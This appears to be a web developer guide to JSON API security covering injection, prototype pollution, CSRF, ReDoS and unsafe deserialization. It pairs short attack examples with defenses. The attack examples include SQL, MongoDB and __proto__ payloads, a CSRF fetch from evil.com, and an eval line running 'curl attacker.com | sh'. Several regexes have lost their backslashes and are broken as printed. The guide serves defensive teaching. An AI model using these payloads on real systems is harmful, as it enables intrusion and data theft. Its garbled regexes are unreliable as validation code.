JSON Security Vulnerabilities: Injection, Prototype Pollution, CSRF, ReDoS & Deserialization
Last updated:
JSON security vulnerabilities fall into five categories: injection attacks (JSON embedded in SQL or HTML), prototype pollution (overwriting __proto__), ReDoS via malformed Unicode or crafted strings, CSRF via JSON endpoints, and unsafe deserialization of crafted payloads. Prototype pollution allows attackers to inject {"__proto__": {"admin": true}} — any object in the process inherits the admin property after a naive merge. The fix: use Object.create(null) for parsed JSON or validate with JSON Schema additionalProperties: false before merging. This guide covers all five attack vectors with proof-of-concept examples, defenses including Content-Type enforcement, schema validation, deep-freeze, and CORS configuration. Every defense is paired with a code example so you can apply it immediately. For foundational validation techniques, see our guide on JSON data validation.
JSON Injection: Embedding JSON in SQL and HTML
JSON injection occurs when attacker-controlled JSON field values are inserted into another context — a SQL query, an HTML page, a log entry, or a NoSQL operator — without sanitization. The attack surface is wide because JSON values look like plain strings until they reach a parser that interprets them differently. The most dangerous variant is SQL injection via JSON: a server that reads a JSON field and interpolates it directly into a SQL query string is fully exploitable with a single crafted request.
// ── VULNERABLE: JSON field interpolated into SQL ─────────────────
// POST /api/users Body: {"username": "alice' OR '1'='1"}
app.post("/api/users", async (req, res) => {
const { username } = req.body;
// DANGER: direct string interpolation — never do this
const query = `SELECT * FROM users WHERE username = '${username}'`;
// Executes: SELECT * FROM users WHERE username = 'alice' OR '1'='1'
// Returns all users — complete authentication bypass
const rows = await db.query(query);
res.json(rows);
});
// ── SAFE: Parameterized query — the only correct defense ─────────
app.post("/api/users", async (req, res) => {
const { username } = req.body;
// Parameter placeholder — DB driver handles escaping natively
const rows = await db.query(
"SELECT * FROM users WHERE username = $1",
[username] // value passed separately, never interpolated into SQL
);
res.json(rows);
});
// ── VULNERABLE: JSON rendered as HTML without escaping ───────────
// POST /api/comments Body: {"text": "<script>alert(1)</script>"}
app.get("/comments", async (req, res) => {
const comments = await db.query("SELECT text FROM comments");
// DANGER: innerHTML treats the string as HTML and executes script tags
res.send(comments.map(c => `<li>${c.text}</li>`).join(""));
});
// ── SAFE: Escape HTML before rendering ───────────────────────────
import { escape } from "html-escaper";
app.get("/comments", async (req, res) => {
const comments = await db.query("SELECT text FROM comments");
// escape() converts < > & " ' to HTML entities — script tags become inert
res.send(comments.map(c => `<li>${escape(c.text)}</li>`).join(""));
});
// ── MongoDB operator injection via JSON ──────────────────────────
// POST /api/login Body: {"username": {"$gt": ""}, "password": {"$gt": ""}}
// The $gt operator matches any non-empty string — authentication bypassed
app.post("/api/login", async (req, res) => {
const { username, password } = req.body;
// VULNERABLE: attacker controls operator objects
const user = await User.findOne({ username, password });
// With {"$gt": ""} the query matches any user — login without credentials
});
// ── SAFE: Validate types before passing to MongoDB ───────────────
app.post("/api/login", async (req, res) => {
const { username, password } = req.body;
// Reject non-string values — MongoDB operators are objects, not strings
if (typeof username !== "string" || typeof password !== "string") {
return res.status(400).json({ error: "Invalid input types" });
}
const user = await User.findOne({ username });
if (!user || !await bcrypt.compare(password, user.passwordHash)) {
return res.status(401).json({ error: "Invalid credentials" });
}
res.json({ token: generateToken(user) });
});
// ── JSON injection into log aggregation ─────────────────────────
// Payload: {"username": "alice\n\"role\": \"admin\""}
// A naive log parser creates a second "role" field in the log entry
// Defense: sanitize all string fields before logging
function sanitizeForLog(value) {
if (typeof value !== "string") return String(value);
// Strip newlines (prevent log injection) and limit length
return value.replace(/[\n\r\t]/g, " ").slice(0, 256);
}Parameterized queries are the only reliable defense against SQL injection via JSON — string escaping functions are incomplete and not supported consistently across all database drivers. For MongoDB, enforce types before passing values to query operators: if a field must be a string, verify typeof value !== "string" and reject the request before the query executes. For HTML output, set element.textContent instead of element.innerHTML — textContent never interprets HTML entities. See our JSON error handling guide for safe error response patterns that avoid leaking implementation details.
Prototype Pollution via JSON Merge
Prototype pollution is a JavaScript-specific attack where an attacker modifies Object.prototype by injecting a __proto__ key into a JSON payload that is then deep-merged into an existing object. Because every plain JavaScript object inherits from Object.prototype, any property added there becomes accessible on all objects in the process — including isAdmin, role, or any other authorization flag the application checks. The attack exploits how JavaScript's prototype chain works, not a bug in JSON.parse().
// ── VULNERABLE: naive deep merge ────────────────────────────────
function deepMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === "object" && source[key] !== null) {
if (!target[key]) target[key] = {};
deepMerge(target[key], source[key]);
} else {
target[key] = source[key]; // DANGER: sets __proto__ on target
}
}
return target;
}
// Attacker sends: {"__proto__": {"admin": true}}
const payload = JSON.parse('{"__proto__": {"admin": true}}');
deepMerge({}, payload);
// Now every plain object in the process has admin: true
console.log(({}).admin); // true — Object.prototype polluted
console.log({}.admin); // true
console.log(req.user.admin); // true — authorization bypassed entirely
// ── Defense 1: Skip dangerous keys in the merge function ──────
function safeMerge(target, source) {
const BLOCKED = new Set(["__proto__", "constructor", "prototype"]);
for (const key of Object.keys(source)) {
if (BLOCKED.has(key)) continue; // skip dangerous keys entirely
if (typeof source[key] === "object" && source[key] !== null
&& !Array.isArray(source[key])) {
if (!target[key] || typeof target[key] !== "object") target[key] = {};
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// ── Defense 2: Object.create(null) — no prototype to pollute ──
const parsed = JSON.parse(untrustedJson);
const safe = Object.assign(Object.create(null), parsed);
// safe.__proto__ is undefined — the object has no prototype chain
// Assigning safe["__proto__"] = anything only creates a data property
// named "__proto__" on safe itself — Object.prototype is untouched
// ── Defense 3: JSON Schema validation before merge ───────────
import Ajv from "ajv";
const ajv = new Ajv();
const schema = {
type: "object",
properties: {
name: { type: "string" },
age: { type: "integer" },
},
additionalProperties: false, // rejects __proto__ and any unknown key
};
const validate = ajv.compile(schema);
app.post("/api/user/update", (req, res) => {
if (!validate(req.body)) {
return res.status(400).json({ errors: validate.errors });
}
// Safe to merge — schema rejected __proto__ and all unexpected keys
Object.assign(currentUser, req.body);
res.json({ ok: true });
});
// ── Defense 4: Object.freeze(Object.prototype) at startup ────
// Prevent any modification of Object.prototype at the process level
Object.freeze(Object.prototype);
// After freeze, any attempt to add properties via __proto__ injection
// silently fails in sloppy mode, or throws TypeError in strict mode
// NOTE: may break third-party libraries that extend Object.prototype
// ── Verify the defense is working ───────────────────────────
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
safeMerge({}, malicious);
console.log(({}).isAdmin); // undefined — Object.prototype is cleanThe most reliable defense in a Node.js API is combining JSON Schema validation (additionalProperties: false) with a safe merge that explicitly skips the three dangerous key names. Object.freeze(Object.prototype) at application startup provides a process-wide catch-all but may interfere with third-party libraries that legitimately extend the prototype. Lodash _.merge() is safe in v4.17.21 and later — it was patched after CVE-2019-10744. For a deep dive on schema-based approaches, see our JSON Schema validation guide.
CSRF Attacks Targeting JSON APIs
Cross-Site Request Forgery (CSRF) via JSON exploits the fact that browsers automatically attach session cookies to any cross-origin request — including POST requests initiated by an attacker's page. The critical insight: a browser can send a cross-origin POST with Content-Type: text/plain and a JSON body without triggering a CORS preflight. If the server parses the body as JSON regardless of the declared Content-Type, the session cookie is sent automatically and the attack succeeds.
// ── Attack scenario: CSRF via fetch with no-cors ────────────────
// Attacker's page at evil.com — victim is logged into api.example.com
fetch("https://api.example.com/api/transfer", {
method: "POST",
mode: "no-cors", // bypasses CORS read restriction
credentials: "include", // browser sends session cookies automatically
headers: {
"Content-Type": "text/plain" // simple content type — no preflight triggered
},
body: '{"to":"attacker","amount":1000}',
// If the server parses this as JSON despite Content-Type: text/plain,
// the transfer executes with the victim's authenticated session
});
// ── Defense 1: Enforce Content-Type: application/json ──────────
// Express middleware — reject requests without correct Content-Type
app.use("/api", (req, res, next) => {
if (["POST", "PUT", "PATCH", "DELETE"].includes(req.method)) {
const ct = req.headers["content-type"] || "";
if (!ct.includes("application/json")) {
return res.status(415).json({
error: "Content-Type must be application/json"
});
}
}
next();
});
// Why this works: browsers CANNOT send Content-Type: application/json
// in a simple cross-origin request — it triggers a CORS preflight OPTIONS request.
// The preflight fails unless the attacker's origin is whitelisted in CORS policy.
// ── Defense 2: SameSite cookie attribute ─────────────────────
// Express session configuration
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
sameSite: "strict", // SameSite=Strict: cookie never sent on cross-origin requests
httpOnly: true, // JavaScript cannot read the cookie
secure: true, // cookie only sent over HTTPS
},
}));
// SameSite=Lax (modern browser default): blocks cross-origin POST, allows GET
// SameSite=Strict: blocks all cross-origin requests including top-level navigations
// ── Defense 3: Custom CSRF header (X-CSRF-Token) ─────────────
// Any custom request header triggers a CORS preflight the attacker cannot pass
app.use("/api", (req, res, next) => {
if (["POST", "PUT", "PATCH", "DELETE"].includes(req.method)) {
const csrfHeader = req.headers["x-csrf-token"];
if (!csrfHeader || !validateCsrfToken(csrfHeader, req.session)) {
return res.status(403).json({ error: "CSRF token missing or invalid" });
}
}
next();
});
// ── Defense 4: CORS strict origin whitelist ───────────────────
app.use(cors({
origin: ["https://app.example.com"], // exact list — wildcard * is never safe for authenticated APIs
methods: ["GET", "POST", "PUT", "DELETE"],
allowedHeaders: ["Content-Type", "Authorization", "X-CSRF-Token"],
credentials: true, // allow cookies only from whitelisted origins
}));
// ── Why Content-Type enforcement is the primary defense ──────
// Preflight-triggering request types (attacker cannot forge cross-origin):
// Content-Type: application/json
// Any custom header: X-CSRF-Token, Authorization
// Simple request types (no preflight — browsers send without restriction):
// Content-Type: text/plain | multipart/form-data | application/x-www-form-urlencoded
// Conclusion: checking Content-Type on the server is the minimal effective CSRF defenseContent-Type enforcement is the most elegant CSRF defense for JSON APIs because it leverages the browser's own CORS preflight mechanism — no token management or session-level state required. Combine it with SameSite=Strict cookies for defense in depth: even if Content-Type enforcement is misconfigured, the browser will not send session cookies on cross-origin POST requests. Never set Access-Control-Allow-Origin: * on an authenticated endpoint — wildcard CORS allows any origin to read the response. See our JSON API design guide for comprehensive header configuration patterns.
Regex Denial of Service (ReDoS) with JSON Inputs
ReDoS attacks exploit regex patterns with catastrophic backtracking — where the regex engine explores an exponentially growing number of possible match paths before concluding a non-match. In Node.js, which runs JavaScript on a single-threaded event loop, one slow regex applied to a long attacker-supplied string can block all request processing for seconds or minutes. JSON APIs that validate string fields — email addresses, URLs, usernames — with hand-written regex are the primary target.
// ── Vulnerable regex patterns — catastrophic backtracking ────────
// Pattern 1: nested quantifiers (a+)+
const VULNERABLE_EMAIL = /^([a-zA-Z0-9]+)*@[a-zA-Z]+.[a-zA-Z]+$/;
// Attack: 30 "a" characters + "!" — causes exponential backtracking
const attack = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!";
console.time("redos");
VULNERABLE_EMAIL.test(attack); // may take 30+ seconds — event loop blocked
console.timeEnd("redos");
// Pattern 2: alternation with overlap (a|a)+
const VULNERABLE_URL = /^(https?://)?([da-z.-]+).([a-z.]{2,6})(/[w.-]*)*/?$/;
// Attack: "https://" + "a".repeat(25) + "!" — CPU spike
// ── Defense 1: maxLength before any regex ────────────────────
// A 10,000-character attack string cannot trigger ReDoS if you reject
// strings longer than 254 characters before validation
function validateEmail(email) {
if (typeof email !== "string" || email.length > 254) return false;
// Simple linear-time pattern — not "perfect" but safe
return /^[^s@]+@[^s@]+.[^s@]{2,}$/.test(email);
}
// ── Defense 2: Use the re2 npm package ───────────────────────
// Re2 is Google's regex library — guaranteed O(n) linear-time matching
// Immune to catastrophic backtracking by design
// npm install re2
import RE2 from "re2";
const emailRe = new RE2(/^[^s@]+@[^s@]+.[^s@]{2,}$/);
function validateEmailSafe(email) {
if (typeof email !== "string" || email.length > 254) return false;
return emailRe.test(email); // linear time regardless of input
}
// ── Defense 3: JSON Schema with maxLength + safe format validator
import Ajv from "ajv";
import addFormats from "ajv-formats"; // uses safe regex patterns internally
const ajv = new Ajv();
addFormats(ajv);
const schema = {
type: "object",
properties: {
email: {
type: "string",
maxLength: 254, // enforced BEFORE pattern validation
format: "email", // ajv-formats uses a ReDoS-safe implementation
},
username: {
type: "string",
maxLength: 64,
pattern: "^[a-zA-Z0-9_-]+$", // simple character class — linear time
},
},
additionalProperties: false,
};
// ── Defense 4: Worker thread for complex validation ───────────
// Runs regex in a separate thread — ReDoS blocks the worker, not event loop
import { Worker, isMainThread, parentPort, workerData } from "worker_threads";
// In worker.js:
if (!isMainThread) {
const { value, maxLen } = workerData;
if (typeof value !== "string" || value.length > maxLen) {
parentPort.postMessage(false);
} else {
parentPort.postMessage(/^[^s@]+@[^s@]+.[^s@]{2,}$/.test(value));
}
}
// Main thread with 500ms timeout:
function validateWithWorker(value, maxLen = 254, timeoutMs = 500) {
return new Promise((resolve, reject) => {
const worker = new Worker("./email-validator-worker.js", {
workerData: { value, maxLen },
});
const timer = setTimeout(() => {
worker.terminate();
reject(new Error("Validation timeout — possible ReDoS attempt"));
}, timeoutMs);
worker.on("message", (ok) => { clearTimeout(timer); resolve(ok); });
worker.on("error", reject);
});
}
// ── Audit regex with safe-regex ───────────────────────────────
// npm install safe-regex
import safeRegex from "safe-regex";
const pattern = /^([a-zA-Z0-9]+)*@/;
console.log(safeRegex(pattern)); // false — vulnerable pattern flaggedThe most impactful single defense is enforcing maxLength on all string fields before any regex validation runs. A 30-character attack string cannot exploit a regex on a field that rejects inputs over 20 characters. The re2 npm package is the strongest technical defense for servers that must apply complex regex to user-supplied strings — Re2's automaton-based matching is immune to catastrophic backtracking by design. Run safe-regex as a lint check in CI to catch vulnerable patterns before they reach production.
Unsafe JSON Deserialization: Crafted Payload Attacks
Unsafe deserialization occurs when a server reconstructs executable objects or function calls from untrusted JSON — using eval() to parse JSON, implementing a custom reviver that executes code based on payload values, or using serialization libraries (like Python's pickle) that can encode functions or class instances. The impact is remote code execution (RCE), the most severe vulnerability class. JSON.parse() itself is safe — the risk lies in what replaces or wraps it.
// ── CRITICAL: eval() for JSON parsing — never do this ───────────
// eval() executes ANY JavaScript code, not just JSON data
const userInput = '{"x":1}; require("child_process").exec("curl attacker.com | sh")';
const parsed = eval("(" + userInput + ")"); // executes the shell command — RCE
// ── SAFE: JSON.parse() is the only correct parser ────────────────
try {
const safe = JSON.parse(userInput); // throws SyntaxError — no code execution
} catch (e) {
res.status(400).json({ error: "Invalid JSON" });
}
// ── VULNERABLE: custom reviver that reconstructs executable objects
// Attacker sends: {"_type": "Function", "_value": "return process.env"}
const parsed2 = JSON.parse(maliciousJson, (key, value) => {
if (value && value._type === "Function") {
return new Function(value._value); // DANGER: executes attacker code
}
return value;
});
parsed2.root(); // returns all environment variables — secrets exposed
// ── SAFE: reviver that only handles known, safe type conversions ──
function safeReviver(key, value) {
// Only reconstruct ISO 8601 dates — nothing else receives special treatment
if (typeof value === "string" && /^d{4}-d{2}-d{2}Td{2}:d{2}:d{2}/.test(value)) {
const d = new Date(value);
return isNaN(d.getTime()) ? value : d; // return original string if invalid date
}
return value;
}
const result = JSON.parse(trustedJson, safeReviver);
// ── Python: never use pickle on untrusted input ───────────────────
# pickle can encode arbitrary Python callables including os.system()
# A crafted pickle payload executes during deserialization
import pickle
# pickle.loads(attacker_bytes) # executes attacker code — NEVER do this
# SAFE: json.loads() never executes code
import json
safe_data = json.loads(untrusted_input) # throws json.JSONDecodeError on invalid input
# ── Python: validate after parsing ───────────────────────────────
from jsonschema import validate, ValidationError
schema = {
"type": "object",
"properties": {
"name": {"type": "string", "maxLength": 100},
"age": {"type": "integer", "minimum": 0, "maximum": 150},
},
"additionalProperties": False,
"required": ["name"],
}
def safe_parse(raw_input: str) -> dict:
if len(raw_input) > 10_000:
raise ValueError("Input too large")
try:
data = json.loads(raw_input)
except json.JSONDecodeError as e:
raise ValueError(f"Invalid JSON: {e}")
try:
validate(instance=data, schema=schema)
except ValidationError as e:
raise ValueError(f"Schema violation: {e.message}")
return data # safe — parsed and validated
// ── Prevent memory exhaustion: set body size limits ──────────────
// express.json() buffers the entire body before JSON.parse is called
// Without a limit, a 500MB payload exhausts Node.js heap memory
app.use(express.json({
limit: "100kb", // reject bodies over 100KB with HTTP 413 before parsing
strict: true, // only accept arrays and objects at the root level
}));The rule is simple: use JSON.parse() and nothing else to parse untrusted JSON. Never call eval(), Function(), or any library that uses them internally on untrusted input. Python's json.loads() is equally safe — the risk is when developers reach for pickle or yaml.load() (without Loader=yaml.SafeLoader) for JSON-like tasks. Always set a request body size limit in your HTTP framework to prevent memory exhaustion from very large payloads before JSON.parse() is ever called. For full input contract enforcement, see our JSON data validation guide.
Content-Type Enforcement and CORS for JSON APIs
Content-Type enforcement and CORS configuration are the two HTTP-level controls that protect JSON APIs from cross-origin abuse. Content-Type enforcement on incoming requests prevents CSRF by ensuring the browser sends a CORS preflight that the attacker cannot pass. CORS configuration on responses controls which origins can read the API's responses. Getting either wrong opens the API to cross-origin attacks that bypass application-level security controls entirely.
// ── Complete security middleware stack for a JSON API ────────────
import express from "express";
import cors from "cors";
import helmet from "helmet";
import rateLimit from "express-rate-limit";
const app = express();
// ── Step 1: Limit and parse JSON bodies ──────────────────────────
app.use(express.json({
limit: "100kb", // HTTP 413 for oversized bodies before parsing
strict: true, // reject non-object/array root values
}));
// ── Step 2: Security response headers (helmet sets 15 headers) ───
app.use(helmet({
crossOriginResourcePolicy: { policy: "same-origin" },
}));
// ── Step 3: CORS with strict origin whitelist ────────────────────
const ALLOWED_ORIGINS = new Set([
"https://app.example.com",
"https://admin.example.com",
]);
app.use(cors({
origin: (origin, callback) => {
// Allow same-origin requests (no Origin header) + whitelisted origins
if (!origin || ALLOWED_ORIGINS.has(origin)) {
callback(null, true);
} else {
callback(new Error(`CORS: origin ${origin} not allowed`));
}
},
methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
allowedHeaders: ["Content-Type", "Authorization", "X-CSRF-Token"],
credentials: true, // allow cookies from whitelisted origins only
maxAge: 86400, // cache the preflight response for 24 hours
}));
// ── Step 4: Content-Type enforcement (primary CSRF defense) ──────
app.use("/api", (req, res, next) => {
const MUTATION_METHODS = new Set(["POST", "PUT", "PATCH", "DELETE"]);
if (MUTATION_METHODS.has(req.method)) {
const ct = req.headers["content-type"] || "";
if (!ct.includes("application/json")) {
return res.status(415).json({
error: "Unsupported Media Type",
message: "Content-Type must be application/json",
});
}
}
next();
});
// ── Step 5: Security headers on every JSON response ──────────────
app.use("/api", (req, res, next) => {
res.setHeader("Content-Type", "application/json; charset=utf-8");
res.setHeader("X-Content-Type-Options", "nosniff");
res.setHeader("Cache-Control", "no-store"); // no caching of API responses
next();
});
// ── Step 6: Rate limiting — prevent brute force and DoS ──────────
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15-minute window
max: 100, // 100 requests per window per IP
standardHeaders: true,
legacyHeaders: false,
message: { error: "Too many requests — try again in 15 minutes" },
});
app.use("/api", apiLimiter);
// ── Client-side: correct fetch() for authenticated JSON APIs ─────
async function apiFetch(url, data) {
const res = await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json", // triggers CORS preflight cross-origin
"X-CSRF-Token": getCsrfToken(), // additional CSRF defense
},
credentials: "include", // send session cookies
body: JSON.stringify(data),
});
// Verify server returned JSON before parsing (prevent JSON injection from attacker)
const serverCt = res.headers.get("content-type") || "";
if (!serverCt.includes("application/json")) {
throw new Error(`Unexpected Content-Type from server: ${serverCt}`);
}
if (!res.ok) {
const err = await res.json();
throw new Error(err.error || `HTTP ${res.status}`);
}
return res.json();
}The helmet npm package is the recommended baseline for any Express.js API — it sets X-Content-Type-Options, Strict-Transport-Security, X-Frame-Options, Referrer-Policy, and other security headers in one middleware call. Rate limiting is a defense against both DoS attacks (many requests with large bodies) and brute-force attacks on authentication endpoints. Pair rate limiting with the body size limit so that an attacker cannot send many large bodies to exhaust both memory and request quotas simultaneously.
Defense in Depth: Schema Validation, Deep-Freeze, and Input Limits
Defense in depth applies multiple independent security controls so that bypassing one layer still leaves the attacker blocked by another. For JSON APIs, the three pillars are: schema validation (reject malformed or malicious inputs at the API boundary before any business logic runs), deep-freeze (prevent runtime mutation of shared configuration objects), and input limits (prevent resource exhaustion from oversized or deeply nested payloads). None of these replaces the others — all three should be applied together.
// ── Pillar 1: JSON Schema validation at every API boundary ───────
import Ajv from "ajv";
import addFormats from "ajv-formats";
const ajv = new Ajv({
allErrors: true, // collect all validation errors, not just the first
strict: true, // throw on unknown keywords in the schema definition
removeAdditional: false, // do NOT silently strip extra fields — reject them
});
addFormats(ajv);
const transferSchema = {
type: "object",
properties: {
to: { type: "string", pattern: "^[a-zA-Z0-9]{3,32}$" },
amount: { type: "number", minimum: 0.01, maximum: 10000 },
note: { type: "string", maxLength: 200 },
},
required: ["to", "amount"],
additionalProperties: false, // blocks __proto__, extra fields, MongoDB operators
};
const validateTransfer = ajv.compile(transferSchema);
app.post("/api/transfer", (req, res) => {
if (!validateTransfer(req.body)) {
return res.status(400).json({
error: "Validation failed",
details: validateTransfer.errors,
});
}
// req.body is now guaranteed to match the schema — safe to pass downstream
processTransfer(req.body);
});
// ── Pillar 2: Deep-freeze configuration objects ───────────────────
function deepFreeze(obj) {
Object.getOwnPropertyNames(obj).forEach((name) => {
const value = obj[name];
if (value && typeof value === "object") {
deepFreeze(value); // recurse before freezing parent
}
});
return Object.freeze(obj);
}
// Freeze configuration loaded from JSON at startup
import fs from "fs";
const config = deepFreeze(JSON.parse(fs.readFileSync("config.json", "utf8")));
// config.database.host = "attacker.com"; // TypeError in strict mode — mutation blocked
// Freeze shared response templates to prevent runtime tampering
const ERROR_RESPONSES = deepFreeze({
unauthorized: { error: "Unauthorized", code: 401 },
forbidden: { error: "Forbidden", code: 403 },
notFound: { error: "Not Found", code: 404 },
});
// ── Pillar 3: Nesting depth limit — prevent stack overflow ────────
// JSON bodies with 10,000 levels of nesting cause stack overflow in
// naive recursive processors (JSON.parse itself is safe up to ~100,000 levels)
function checkNestingDepth(value, maxDepth = 10, currentDepth = 0) {
if (currentDepth > maxDepth) {
throw new Error(`JSON nesting exceeds limit of ${maxDepth} levels`);
}
if (value !== null && typeof value === "object") {
for (const v of Object.values(value)) {
checkNestingDepth(v, maxDepth, currentDepth + 1);
}
}
}
app.use("/api", (req, res, next) => {
try {
if (req.body) checkNestingDepth(req.body);
next();
} catch (err) {
res.status(400).json({ error: err.message });
}
});
// ── Pillar 4: Audit logging of security-relevant events ──────────
function logSecurityEvent(type, req, details = {}) {
// Log the event type and request metadata — never log req.body directly
// (may contain passwords, tokens, or other secrets)
const event = {
timestamp: new Date().toISOString(),
type,
ip: req.ip,
method: req.method,
path: req.path,
userAgent: (req.headers["user-agent"] || "").slice(0, 200),
details,
};
console.log(JSON.stringify(event));
}
// Detect and log prototype pollution attempts
app.use("/api", (req, res, next) => {
const bodyStr = JSON.stringify(req.body || {});
if (bodyStr.includes("__proto__") || bodyStr.includes("constructor")) {
logSecurityEvent("PROTOTYPE_POLLUTION_ATTEMPT", req, {
bodyLength: bodyStr.length,
});
return res.status(400).json({ error: "Invalid input" });
}
next();
});JSON Schema validation with additionalProperties: false is the single most valuable security control for JSON APIs — it simultaneously blocks prototype pollution, operator injection, and unexpected-field attacks at the boundary before any code touches the data. Deep-freeze prevents a class of programming errors where shared configuration is accidentally mutated by application logic, which can open secondary vulnerabilities. For a complete schema validation approach with all validation options, see our JSON Schema validation guide.
Key Terms
- prototype pollution
- A JavaScript attack where an attacker's JSON payload containing a
__proto__key is deep-merged into an object, corruptingObject.prototype— the root prototype inherited by every plain object in the process. After pollution,({}).attackerPropertyreturns the attacker's value on every plain object. Prevention: validate incoming JSON with a schema that rejects__proto__viaadditionalProperties: false, useObject.create(null)for safe property bags with no prototype, and explicitly skip the keys__proto__,constructor, andprototypein all recursive merge functions. - JSON injection
- The insertion of attacker-controlled data into a context that re-parses or re-interprets it as structured content: SQL injection (JSON values in SQL strings), NoSQL operator injection (
{"$gt": ""}as a MongoDB field), HTML injection (unescaped JSON strings rendered as markup), and log injection (newline characters in JSON strings that forge additional log entries). The common thread is that the JSON value is treated as code or structure rather than data. Defense is context-specific: parameterized queries for SQL, type checking for NoSQL operators,textContentor escaping for HTML, and newline stripping for logs. - CSRF (Cross-Site Request Forgery)
- An attack where a malicious page causes a logged-in victim's browser to send an authenticated request to a target API without the victim's knowledge. For JSON APIs, the attacker uses
fetch()withmode: "no-cors"and a non-JSON Content-Type to avoid triggering a CORS preflight while the browser automatically sends session cookies. Prevention: enforceContent-Type: application/jsonon mutating endpoints (triggers CORS preflight the attacker cannot pass), setSameSite=Stricton session cookies, and maintain a strict CORS origin whitelist. - ReDoS (Regular Expression Denial of Service)
- An attack that exploits regex patterns with catastrophic backtracking — typically nested quantifiers like
(a+)+or alternation with overlap — by sending long strings that cause the regex engine to explore an exponentially growing number of possible match paths. In Node.js's single-threaded event loop, one ReDoS attack can block all request processing. Prevention: enforcemaxLengthbefore any regex validation, use Google'sre2npm package (guaranteed linear-time matching), audit patterns with thesafe-regextool, and run complex validation in worker threads. - deserialization attack
- An attack where a crafted serialized payload causes the deserializer to execute arbitrary code during reconstruction. In JavaScript, this occurs when
eval()orFunction()is used instead ofJSON.parse(), or when a custom reviver function reconstructs executable objects based on attacker-controlled type fields. In Python,pickle.loads()on untrusted data is the canonical vulnerability. Prevention: always useJSON.parse()/json.loads(); never useeval(),pickle, oryaml.load()withoutLoader=yaml.SafeLoaderon untrusted input. - Content-Type enforcement
- A server-side policy that requires all state-mutating HTTP requests (POST, PUT, PATCH, DELETE) to include the header
Content-Type: application/jsonand returns HTTP 415 Unsupported Media Type if it is absent or incorrect. Browsers cannot setContent-Type: application/jsonin a simple cross-origin request without triggering a CORS preflight — and the preflight fails unless the server's CORS policy explicitly whitelists the requesting origin. This makes Content-Type enforcement an effective CSRF defense for JSON APIs without requiring CSRF token management. - deep-freeze
- The recursive application of
Object.freeze()to an object and all of its nested objects and arrays, making the entire object graph immutable at runtime.Object.freeze()alone is shallow — it prevents adding or deleting direct properties but allows nested objects to be mutated freely. A deep-freeze function traverses the entire graph and callsObject.freeze()on every nested value. Used to protect configuration objects loaded from JSON files at startup from runtime modification. In strict mode, attempts to mutate a frozen object throw aTypeError; in sloppy mode they silently fail.
FAQ
What are the main security vulnerabilities in JSON APIs?
The five main JSON security vulnerability categories are: (1) JSON injection — embedding attacker-controlled JSON values into SQL queries, HTML output, or NoSQL operators without sanitization; (2) prototype pollution — sending {"__proto__": {"admin": true}} to corrupt Object.prototype and inject properties into every object in the Node.js process, potentially bypassing authorization checks; (3) CSRF via JSON — tricking a logged-in browser into submitting a cross-origin JSON POST using fetch() with mode: "no-cors", bypassing CSRF tokens if the server doesn't enforce Content-Type: application/json; (4) ReDoS — sending crafted strings that cause catastrophic backtracking in regex validators, blocking the Node.js event loop for seconds or minutes with a single request; (5) unsafe deserialization — exploiting eval()-based JSON parsers, malicious reviver functions, or unsafe libraries like Python's pickle to achieve remote code execution. Each vector requires a specific defense: parameterized queries, additionalProperties: false schema validation, Content-Type enforcement, maxLength limits with re2, and strict use of JSON.parse(). No single defense covers all five vectors — apply all of them.
What is prototype pollution in JSON and how do I prevent it?
Prototype pollution occurs when attacker-controlled JSON is deep-merged into a JavaScript object without sanitizing __proto__, constructor, or prototype keys. A payload like {"__proto__": {"admin": true}} causes a naive merge to modify Object.prototype — after which ({}).admin === true everywhere in the process, potentially bypassing any authorization check that reads from plain objects. JSON.parse() itself is safe — the pollution happens during the merge step. Prevention layers: (1) validate incoming JSON with a JSON Schema that uses additionalProperties: false to reject __proto__ keys before any merge; (2) write a safe merge that explicitly skips __proto__, constructor, and prototype; (3) use Object.create(null) as the merge target so the object has no prototype chain to corrupt. Object.freeze(Object.prototype) at startup prevents all future pollution but may break polyfills. For validation tooling details, see our JSON data validation guide.
How do I prevent CSRF attacks on JSON API endpoints?
CSRF via JSON exploits the browser sending session cookies on cross-origin POST requests. The attacker uses fetch() with mode: "no-cors" and Content-Type: text/plain to avoid a CORS preflight while the browser still attaches session cookies. If the server parses the body regardless of Content-Type, the transfer or state change executes. Prevention: (1) enforce Content-Type: application/json on all mutating endpoints — return HTTP 415 if absent; browsers cannot set this header cross-origin without a CORS preflight that fails unless the attacker's origin is whitelisted; (2) set SameSite=Strict on session cookies — the browser won't send them on any cross-origin request regardless of method or Content-Type; (3) use a strict CORS whitelist with Access-Control-Allow-Origin set to specific origins, never * on authenticated endpoints; (4) add a custom header like X-CSRF-Token — any custom header triggers a CORS preflight. Implement at least two of these defenses. See our JSON API design guide for complete header configuration examples.
Is JSON.parse() safe to call on untrusted input?
Yes — JSON.parse() is safe. It does not execute code, does not access the prototype chain in a dangerous way, and is implemented in native C++ in the V8 engine. It throws SyntaxError on invalid JSON and returns a plain JavaScript value on valid JSON — no side effects. The risks are entirely in what you do with the result afterward: merging without key sanitization causes prototype pollution; passing to eval() or Function() causes RCE; interpolating string values into SQL causes injection; rendering string values as HTML without escaping causes XSS. The reviver parameter is only risky if the reviver itself calls eval() or reconstructs executable objects. Safe pattern: wrap JSON.parse() in try/catch, set a body size limit before calling it, then immediately validate the result against a JSON Schema before any further use. Never use eval() as a JSON parser.
What is JSON injection and how is it different from SQL injection?
JSON injection is the broader category: inserting attacker-controlled JSON values into any context that re-parses or re-interprets them as structured content. SQL injection via JSON is one specific variant — a JSON field value is interpolated into a SQL query string, breaking out of the string literal and changing the query's semantics. The difference: SQL injection attacks the SQL parser; JSON injection can target the JSON parser itself (embedding JSON-structured strings that re-parse unexpectedly), MongoDB's query parser ({"$gt": ""} as a field value bypasses equality checks), an HTML renderer (script tags in JSON strings cause XSS), or a log aggregation system (newline characters in JSON strings inject fake log entries). Defenses are context-specific: SQL injection requires parameterized queries; MongoDB operator injection requires type checking before queries; HTML injection requires output escaping or textContent; log injection requires stripping newlines before logging. See our JSON error handling guide for patterns that avoid leaking injection surfaces in error responses.
How do I prevent ReDoS attacks on JSON string validation?
